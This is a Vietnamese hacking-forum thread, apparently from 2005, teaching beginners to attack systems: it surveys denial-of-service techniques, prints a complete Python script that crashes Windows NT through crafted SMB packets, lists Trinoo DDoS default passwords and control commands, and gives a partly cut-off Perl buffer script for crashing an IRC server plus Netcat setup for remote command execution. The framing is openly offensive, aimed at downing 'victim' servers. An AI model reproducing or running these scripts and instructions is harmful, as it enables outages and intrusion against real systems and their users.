DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối Internet là ðã có thể thực hiện việc tấn công ðýợc máy tính của ðốI phýõng . thực chất của DoS attack là hacker sẽ chiếm dụng một lýợng lớn tài nguyên trên server ( tài nguyên ðó có thể là bãng thông, bộ nhớ, cpu, ðĩa cứng, ... ) làm cho server không thể nào ðáp ứng các yêu cầu từ các máy của nguời khác ( máy của những ngýời dùng bình thýờng ) và server có thể nhanh chóng bị ngừng hoạt ðộng, crash hoặc reboot .


39.) Các loại DoS attack hiện ðang ðýợc biết ðến và sử dụng :

a . ) Winnuke :

_DoS attack loại này chỉ có thể áp dụng cho các máy tính ðang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu ``Out of Band`` ðến cổng 139 của máy tính ðích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band ðýợc bật ) . Khi máy tính của victim nhận ðýợc gói tin này, một màn hình xanh báo lỗi sẽ ðýợc hiển thị lên với nạn nhân do chýõng trình của Windows nhận ðýợc các gói tin này nhýng nó lại không biết phản ứng với các dữ liệu Out Of Band nhý thế nào dẫn ðến hệ thống sẽ bị crash .

b . ) Ping of Death :

_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thýớc lớn thông qua lệnh ping ðến máy ðích thì hệ thống của họ sẽ bị treo .
_ VD : ping –l 65000

c . ) Teardrop :

_ Nhý ta ðã biết , tất cả các dữ liệu chuyển ði trên mạng từ hệ thống nguồn ðến hệ thống ðích ðều phải trải qua 2 quá trình : dữ liệu sẽ ðýợc chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh ðều phải có một giá trị offset nhất ðịnh ðể xác ðịnh vị trí của mảnh ðó trong gói dữ liệu ðýợc chuyển ði. Khi các mảnh này ðến hệ thống ðích, hệ thống ðích sẽ dựa vào giá trị offset ðể sắp xếp các mảnh lại với nhau theo thứ tự ðúng nhý ban ðầu . Lợi dụng sõ hở ðó , ta chỉ cần gởi ðến hệ thống ðích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống ðích sẽ không thể nào sắp xếp lại các packets này, nó không ðiều khiển ðýợc và có thể bị crash, reboot hoặc ngừng hoạt ðộng nếu số lýợng gói packets với giá trị offset chồng chéo lên nhau quá lớn !

d . ) SYN Attack :

_ Trong SYN Attack, hacker sẽ gởi ðến hệ thống ðích một loạt SYN packets với ðịa chỉ ip nguồn không có thực. Hệ thống ðích khi nhận ðýợc các SYN packets này sẽ gởi trở lại các ðịa chỉ không có thực ðó và chờ ðợI ðể nhận thông tin phản hồi từ các ðịa chỉ ip giả . Vì ðây là các ðịa chỉ ip không có thực, nên hệ thống ðích sẽ sẽ chờ ðợi vô ích và còn ðýa các ``request`` chờ ðợi này vào bộ nhớ , gây lãng phí một lýợng ðáng kể bộ nhớ trên máy chủ mà ðúng ra là phải dùng vào việc khác thay cho phải chờ ðợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có ðịa chỉ IP giả nhý vậy thì hệ thống sẽ bị quá tải dẫn ðến bị crash hoặc boot máy tính . == > ném ðá dấu tay .

e . ) Land Attack :

_ Land Attack cũng gần giống nhý SYN Attack, nhýng thay vì dùng các ðịa chỉ ip không có thực, hacker sẽ dùng chính ðịa chỉ ip của hệ thống nạn nhân. Ðiều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân ðó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi ðó ði cả . == > Gậy ông ðập lýng ông .

f . ) Smurf Attack :

_Trong Smurf Attack, cần có ba thành phần: hacker (ngýời ra lệnh tấn công), mạng khuếch ðại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP ðến ðịa chỉ broadcast của mạng khuếch ðại. Ðiều ðặc biệt là các gói tin ICMP packets này có ðịa chỉ ip nguồn chính là ðịa chỉ ip của nạn nhân . Khi các packets ðó ðến ðýợc ðịa chỉ broadcast của mạng khuếch ðại, các máy tính trong mạng khuếch ðại sẽ týởng rằng máy tính nạn nhân ðã gởi gói tin ICMP packets ðến và chúng sẽ ðồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lýợng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt ðộng, crash hoặc reboot. Nhý vậy, chỉ cần gởi một lýợng nhỏ các gói tin ICMP packets ði thì hệ thống mạng khuếch ðại sẽ khuếch ðại lýợng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch ðại phụ thuộc vào số mạng tính có trong mạng khuếch ðạI . Nhiệm vụ của các hacker là cố chiếm ðýợc càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin ðến ðịa chỉ broadcast không qua chỗ lọc ðịa chỉ nguồn ở các ðầu ra của gói tin . Có ðýợc các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == > một máy làm chẳng si nhê , chục máy chụm lại ta ðành chào thua .

g . ) UDP Flooding :

_ Cách tấn công UDP ðòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình ði vào một vòng lặp trao ðổi các dữ liệu qua giao thức UDP. Và giả mạo ðịa chỉ ip của các gói tin là ðịa chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin này ðến hệ thống của nạn nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1( chính nó ) gởi ðến , kết quả là nó sẽ ði vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng ðịa chỉ loopback nên hacker sẽ giả mạo một ðịa chỉ ip của một máy tính nào ðó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị ðấy .

h . ) Tấn công DNS :

_ Hacker có thể ðổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ ðến một website nào ðó của hacker. Khi máy khách yêu cầu DNS phân tích ðịa chỉ bị xâm nhập thành ðịa chỉ ip, lập tức DNS ( ðã bị hacker thay ðổi cache tạm thờI ) sẽ ðổi thành ðịa chỉ ip mà hacker ðã cho chỉ ðến ðó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu hiệu !.

g . ) Distributed DoS Attacks ( DDos ) :

_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Ðầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính ðýợc bảo mật kém, sau ðó cài lên các hệ thống này chýõng trình DDoS server. Bây giờ các hackers sẽ hẹn nhau ðến thời gian ðã ðịnh sẽ dùng DDoS client kết nối ðến các DDoS servers, sau ðó ðồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS ðến hệ thống nạn nhân .

h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) :

_ Ðây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của ðối phýõng nhanh gọn nhất . Cách làm thì cũng týõng tự nhý DDos nhýng thay vì tấn công bằng nhiều máy tính thì ngýờI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới . Vẫn với phýõng pháp giả mạo ðịa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin ðến các server mạnh nhất , nhanh nhất và có ðýờng truyền rộng nhất nhý Yahoo .v.v… , các server này sẽ phản hồi các gói tin ðó ðến ðịa chỉ của victim . Việc cùng một lúc nhận ðýợc nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn ðýờng truyền của máy tính nạn nhân và làm crash , reboot máy tính ðó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet ðõn giản với ðýờng truyền bình thýờng cũng có thể ðánh bật ðýợc hệ thống có ðýờng truyền tốt nhất thế giớI nếu nhý ta không kịp ngãn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này ðấy .

40 . ) Kỹ thuật DoS Web bằng Python :

_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian thì máy tính của nạn nhân mới bị down ðýợc .
_ Bạn hãy download Pyphon tại http://www.python.org/ ðể sử dụng .
_ Bạn hãy save ðoạn mã sau lên file rfpoison.py .

CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), ``)
return data
def b2a(s):
bytes = map(lambda x: `%.2x` % x, map(ord, s))
return string.join(bytes, ` `)

# Yêu cầu tập hợp NBSS
nbss_session = a2b(``````
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
``````)

# Tạo SMB
crud = (
# Yêu cầu SMBnegprot
``````
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
``````,
# Yêu cầu setup SMB X
``````
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
``````,
# Yêu cầu SMBtconX
``````
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
``````,
# Yêu cầu khởI tạo SMBnt X
``````
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
``````,
# yêu cầu biên dịch SMB
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
``````,
# SMBtrans Request
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
``````
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack(`!BBH`, type, flags, len(data))
#print `send:`, b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack(`!BBH`, s)
data = sock.recv(length)
assert(len(data) == length)
#print `recv:`, b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == `__main__`:
print `Sending poison...`,
main(sys.argv[1])
print `done.`


Ðể có thể làm down ðýợc server của ðối phýõng bạn cần phải có thời gian DoS , nếu không có ðiều kiện chờ ðợi tốt nhất bạn không nên sử dụng cách này . Nhýng “vọc” thử cho biết thì ðýợc ðúng không ?

41 . ) Tấn công DDoS thông qua Trinoo :

_ Bạn ðã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo ðýợc thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master ðể phát ðộng một cuộc tấn công DDoS ðến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons ðýa những ðịa chỉ ðýợc dẫn ðến ðể tấn công một hay nhiều mục tiêu trong khoảng thời gian xác ðịnh .
_ Cả Master và Deamon ðều ðýợc bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể ðiều khiển ðýợc chúng , ðiều này không có gì khó khãn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thýờng ðýợc mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----- > Binnary. Khi ðýợc chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự ðộng thoát còn nếu passwd ðýợc nhập ðúng thì nó sẽ tự ðộng chạy trên nền của hệ thống .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
kwijibo
Connection closed by foreign host. < == Bạn ðã nhập sai


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo > < == bạn ðã vào ðýợc hệ thống trinoo

_ Ðây là vài passwd mặc ðịnh :

“l44adsl``: pass của trinoo daemon .
``gorave``: passwd của trinoo master server khi startup .
``betaalmostdone``: passwd ðiều khiển từ xa chung cho trinoo master .
``killme``: passwd trinoo master ðiều khiển lệnh ``mdie`` .

_ Ðây là một số lệnh dùng ðể ðiều khiển Master Server:


CODE
die------------------------------------------------ ------------Shutdown.
quit----------------------------------------------- -------------Log off.
mtimer N-------------------------------------------------- --Ðặt thờI gian ðể tấn công DoS , vớI N nhận giá trị từ 1-- > 1999 giây .
dos IP------------------------------------------------- ------Tấn công ðến một ðịa chỉ IP xác ðịnh .
mdie pass----------------------------------------------- ----Vô hiệu hoá tất cả các Broadcast , nếu nhý passwd chính xác . Một lệnh ðýọc gửi tới (``d1e l44adsl``) Broadcast ðể Shutdown chúng . Một passwd riêng biệt sẽ ðýợc ðặt cho mục này
mping---------------------------------------------- ----------Gửi một lệnh ping tới (``png l44adsl``) c¸c Broadcast.
mdos ------------------------------------------Send nhiều lênh DOS (``xyz l44adsl 123:ip1:ip2``) ðến các Broadcast.
info----------------------------------------------- --------------Hiển thị thông tin về Trinoo .
msize---------------------------------------------- ------------Ðặt kích thýớc ðệm cho những gói tin ðýợc send ði trong suốt thờI gian DoS.
nslookup host----------------------------------------------X ác ðịnh tên thiết bị của Host mà Master Trinoo ðang chạy .
usebackup------------------------------------------ ---------Chuyển tớI các file Broadcast sao lýu ðýợc tạo bởi lệnh “killdead”.
bcast---------------------------------------------- -------------Liệt kê danh sách tất cả các Broadcast có thể khai thác .
help [cmd] --------------------------------------------------- Ðýa ra danh sách các lệnh .
mstop---------------------------------------------- -------------Ngừng lại các cuốc tấn công DOS .


_ Ðây là một số lệnh dùng ðể ðiều khiển Trinoo Deadmons:

CODE
aaa pass IP------------------------------------------------- ---Tấn công ðến ðịa chỉ IP ðã xác ðịnh . GửI gói tin UDP (0-65534) ðến cổng của UDP của ðịa chỉ IP ðã xác ðịnh trong một khoảng thời gian xác ðịnh ðýợc mặc ðịnh là 120s hay từ 1-- > 1999 s .
bbb pass N-------------------------------------------------- ---Ðặt thờI gian giới hạn cho các cuộc tấn công DOS .
Shi pass----------------------------------------------- ---------Gửi chuỗi “*HELLO*” tới dánh sách Master Server ðã ðýợc biên dịch trong chýõng trình trên cổng 31335/UDP.
png pass----------------------------------------------- --------Send chuỗi “Pong” tớI Master Server phát hành các lệnh ðiều khiển trên cổng 31335/UDP.
die pass----------------------------------------------- ---------Shutdown Trinoo.
rsz N-------------------------------------------------- ----------Là kích thýớc của bộ ðệm ðýợc dùng ðể tấn công , nó ðýợc tính bằng byte .
xyz pass 123:ip1:ip3---------------------------------------- tấn công DOS nhiều mục tiêu cùng lúc .


( Dựa theo hýớng dẫn của huynh Binhnx2000 )
Còn nhiều ðoạn mã và cách ứng dụng ðể DoS lắm , các bạn chịu khó tìm hiểu thêm nhé . Nhýng ðừng tấn công lung tung , nhất là server của HVA , coi chừng không thu ðýợc hiệu quả mà còn bị lock nick nữa ðó

tk_nam
15-11-2005, 06:45 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 7



42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :

WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu nhý bị các Hacker gửi một Packet lớn hõn giá trị ( 65000 ký tự ) cho phép ðến Port 6667.
Bạn có thể thực hiện việc này bằng cách Telnet ðến WircSrv trên Port 6667:


Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is `^]`.
[buffer]

Windows cũng týõng tự:

telnet irc.example.com 6667

Lýu ý: [buffer] là Packet dữ liệu týõng ðýõng với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất ðõn giản bằng ðoạn mã sau ( Các bạn hãy nhìn vào ðoạn mã và tự mình giải mã những câu lệnh trong ðó , ðó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách cãn bản ):

CODE
#!/usr/bin/perl #< == Ðoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std;
use Socket;
getopts(`s:`, \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$pa ddr,$proto);
$foo = ``A``; # Ðây là NOP
$number = ``65000``; # Ðây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh ðiều khiển server từ xa
$port = 6667; # lệnh ðiều khiển cổng từ xa , nó ðýợc mặc ðịnh là 6667
$buf = ``$data``;
$in_addr = (gethostbyname($serv))[4]

tk_nam
15-11-2005, 06:46 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 8


47.) Các công cụ cần thiết ðể hack Web :

Ðối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình ðể test lỗi . Nhýng ðối với các bạn mới “vào nghề” thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng ðể việc tìm ra lỗi trên các trang Web nạn nhân ðýợc nhanh chóng nhất . Sau ðây là một số công cụ bạn cần phải có trên máy “làm ãn” của mình :

Công cụ thứ 1 : Một cái proxy dùng ðể che dấu IP và výợt týờng lửa khi cần ( Cách tạo 1 cái Proxy tôi ðã bày ở phần 7 , các bạn hãy xem lại nhé ) .
Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng ðối với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chýõng trình chính nhý nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account ðó cần phải cài chýõng trình GCC ( rất quan trọng trong việc dịch (compile) các exploit ðýợc viết bằng C) nhý MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhýng nó có nhiều câu lệnh và chức nãng hõn DOS . Thông thýờng khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên ðãng ký trên mạng 1 shell account free hoặc nếu có ai ðó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start -- > Run -- > gõ Telnet) ðể dùng shell account ðó. Sau ðây là 1 số ðịa chỉ bạn có thể ðãng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.ht ml
http://www.ultrashell.net/

Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và ðặc biệt tốt ðối với mạng ðõn lẻ. NMAP giúp bạn xem những dịch vụ nào ðang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server ðang dùng hệ ðiều hành gì,loại týờng lửa mà server sử dụng,...và rất nhiều tính nãng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét nhý : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP ðýợc ðánh giá là công cụ hàng ðầu của các Hacker cũng nhý các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét ðýợc hõn 13000 lỗi bảo mật và nhận diện ðýợc 5000 exploits khác.
Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thý mục và file nào, nó có thể liệt kê ðýợc cả thý mục và file có set password. Rất tiện cho việc Hack Website vì trýớc khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website ðó.
Công cụ thứ 6 : Netcat là công cụ ðọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chýõng trình script khác ðể ðiều khiển Netcat. Netcat ðýợc coi nhý 1 exploitation tool do nó có thể tạo ðýợc liên kết giữa bạn và server cho việc ðọc và ghi dữ liệu ( tất nhiên là khi Netcat ðã ðýợc cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
Công cụ thứ 7 : Active Perl là công cụ ðọc các file Perl ðuôi *.pl vì các exploit thýờng ðýợc viết bằng Perl . Nó còn ðýợc sử dụng ðể thi hành các lệnh thông qua các file *.pl .
Công cụ thứ 8 : Linux là hệ ðiều hành hầu hết các hacker ðều sử dụng.
Công cụ thứ 9 : L0phtCrack là công cụ số một ðể Crack Password của Windows NT/2000 .
Cách Download tôi ðã bày rồi nên không nói ở ðây , các bạn khi Download nhớ chú ý ðến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính nãng mà các phiên bản trýớc chýa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hýớng dẫn bên Box “Ðồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên ðó sẽ trả lời cho bạn .

48.) Hýớng dẫn sử dụng Netcat :

a . ) Giới thiệu : Netcat là một công cụ không thể thiếu ðýợc nếu bạn muốn hack một website nào ðó vì nó rất mạnh và tiện dụng . Do ðó bạn cần biết một chút về Netcat .
b . ) Biên dịch :
_ Ðối với bản Netcat cho Linux, bạn phải biên dịch nó trýớc khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trýớc 2 dấu ``/``: // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở ðầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trýờng PATH trong file ~/.bashrc, thêm vào ``:.``
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì ðã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế ðộ dòng lệnh. Bạn chạy nc -h ðể biết các tham số:

CODE
C:\ > nc -h
connect to somewhere: nc [-options] hostname port [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế ðộ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chýõng trình prog, thýờng dùng trong chế ðộ lắng nghe
-h ----------- gọi hýớng dẫn
-i secs ----- trì hoãn secs mili giây trýớc khi gởi một dòng dữ liệu ði
-l ------------- ðặt Netcat vào chế ðộ lắng nghe ðể chờ các kết nối ðến
-L ------------ buộc Netcat ``cố`` lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n ------------ chỉ dùng ðịa chỉ IP ở dạng số, chẳng hạn nhý 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ ðịnh cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo ðịa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ ði trong một phiên telnet. Khi bạn telnet ðến một telnet daemon(telnetd), telnetd thýờng yêu cầu trình telnet client của bạn gởi ðến các thông tin phụ nhý biến môi trýờng TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t ðể telnet, netcat sẽ không gởi các thông tin này ðến telnetd.
-u ------------- dùng UDP(mặc ðịnh netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hõn nữa.
-w secs ---- ðặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế ðộ zero I/O, thýờng ðýợc sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner của web server :

Ví dụ: nc ðến 172.16.84.2, cổng 80

CODE
C:\ > nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại ðây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Ðể biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hõn nữa)

C:\ > nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: ``0-cec-3899eaea``
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó ðã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: ``0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea``..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
